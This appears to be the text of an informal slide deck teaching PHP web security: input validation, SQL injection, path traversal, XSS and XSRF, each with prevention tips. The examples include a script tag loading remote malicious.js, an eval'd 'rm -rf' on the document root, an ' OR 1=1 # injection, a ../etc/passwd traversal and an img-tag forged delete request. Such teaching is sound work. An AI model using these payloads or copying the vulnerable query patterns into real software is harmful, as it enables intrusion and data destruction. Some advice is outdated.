Web Security

Never, ever, trust user inputs

Supankar

What is Security?

why does security needs?

Haha! Yes I know it. Its really a funny topic!!

Is it call security?

Security why?

• To prevent stealing important data• To secure Personal Data / Credentials• Compromising Access Privilege• No Data Loss

Common Threats

• Cross-Site Scripting (XSS)• Session Hijack• Click Jacking• Cross-site request forgery (XSRF)• SQL Injection

Never, ever, trust user inputs

Input Validation

• Always use server side validation as client side (javascript) validation can easily be bypassed

• Use white-listed values• Use built-in escape functions• Validate for correct data types, like numbers

example

• supankar<script type="text/javascript" src="http://abcNews24.com/gps/malicious.js"></script>

Input Validation (Cont..)

• Don’t expect the return value from selections, radio buttons or check boxes of a form to be the ones you mentioned. So, always revalidate.

• Example:<input type="radio" name="gender" value="m"

/>Male<input type="radio" name="gender" value="f"

/>Female

Input Validation (Cont..)

• insert userinfo (gender) values($_POST[‘gender’])

• Garbage <input type="radio" name="gender" value=“a"

/>Male<input type="radio" name="gender" value=“c"

/>Female

Input Validation (Cont..)

• Defensive Programming:

$gender=‘m’;If ($_POST[‘gender’]==‘f’)

$gender=‘f’;

PHP: Some Bad FeaturesRegister Globals Consider the following code -

if ($password == "my_password") { $authorized = 1;

} if ($authorized == 1) {

echo "Lots of important stuff."; }

test.php?authorized=1 will produce “Lots of important stuff.” To disable register_globals using .htaccess file – php_flag register_globals 0 To disable register_globals using php.ini – register_globals = Off

Magic Quotes

PHP harmful functions

eval("shell_exec(\"rm -rf {$_SERVER['DOCUMENT_ROOT']}\");");

ini_set(), exec(),fopen(), popen(), passthru(), readfile(), file(), shell_exec() , system(),etc…

SQL InjectionMost common and most destructive security hazardLets see the common way to check username and password entered into a form – $check = mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$_POST['username']."' and Password = '".$_POST['password']."'");

If we enter the following in the “username” input box and submit -' OR 1=1 #

The query that is going to be executed will now look like this –SELECT Username, Password FROM Users WHERE Username = '' OR 1=1 #' and Password = ''

As you can see, this query will return all the users from the database and as generally first user on a user table is the admin, the hacker will easily gain admin privilege.

SQL Injection - Preventing

• Sanitize Properly• User Prepared Statements• Use mysql_real_escape_string()• Turn on magic_quote_gpc with Caution

Error/warring Message

File ManipulationSome sites currently running on the web today have URLs that

look like this:index.php?page=contactus.html

The user can very easily change the "contactus.html" bit to anything they like. For example,index.php?page=.htpasswd

By changing the URL, on some systems, to reference a file on another server, they could even run PHP that they have written on your site.

When users download a file from your server, if the file name depends on user input, he can easily manipulate it to download system files by giving inputs like – “../../../etc/passwd”

• IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

• ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/error_log.txt'); error_reporting(E_ALL);

JavaScript!!!

• A creative innovation.

Giving the user more control over the browser Detecting the user's browser, OS, screen size, etc. Performing simple computations on the client side Validating the user's input Handling dates and time Generating HTML pages on-the-fly without

accessing the Web server.

Cross-Site Scripting (XSS)

• It allows attackers to add keyloggers, tracking scripts or porn banners on your site, or just stop your site working altogether.

• It can also used for cookie hijacking so that a real user can be faked.

• Always use htmlentities() function to output user-generated texts.

• Limit the character set that can used for a particular text type

• Disallow HTML input if possible. If that is not an option, only allow limited HTML tags

I am not Sleeping…….

Yes, I am, because it is boring..

Lets have some fun…

Fun…

• Go to supankar.wordpress.com• http://technotip.com/269/moving-image-

javascript-small-fun-application/Develop

XSS – Preventing

• Sanitize User input properly• Check Character Encoding• Double check before printing GET values fromURL

MVC? Is it secure?

Cross-site request forgery(XSRF)

• Using user’s logged in session to manipulate• http://example.com/admin/delete/post/1

Cross-site request forgery(XSRF) cont..

• User A has a post with ID 112

Cross-site request forgery(XSRF) cont..

• User B Posted on his blog <img src=‘/admin/delete/post/112’/>• No Effect for User B

Cross-site request forgery(XSRF) cont..

• User A visits User B’s blog• <img src=‘/admin/delete/post/112’/>• Delete’s User A’s post with ID 112

XSRF Prevention

• Use POST• Check for the presence of some sort of valid

submission

I have more important tasks please leave me now…

Ok, Ok, Just Summery

• Use common sense• Always check user input• No direct user input at sql query• Disable the error/warring messages at the

production time• Always try to use defensive programming

technique• Update your scripts to the latest versions

Suggestions

• Read security related news and updateso http://www.owasp.org/o http://shiflett.org/o http://www.securityfocus.com/

Toooo much, Supankar!! STOP NOW!!

<?php echo “Question”;?>

• An ounce of prevention is worth a pound of cure -> Benjamin Franklin

Thanks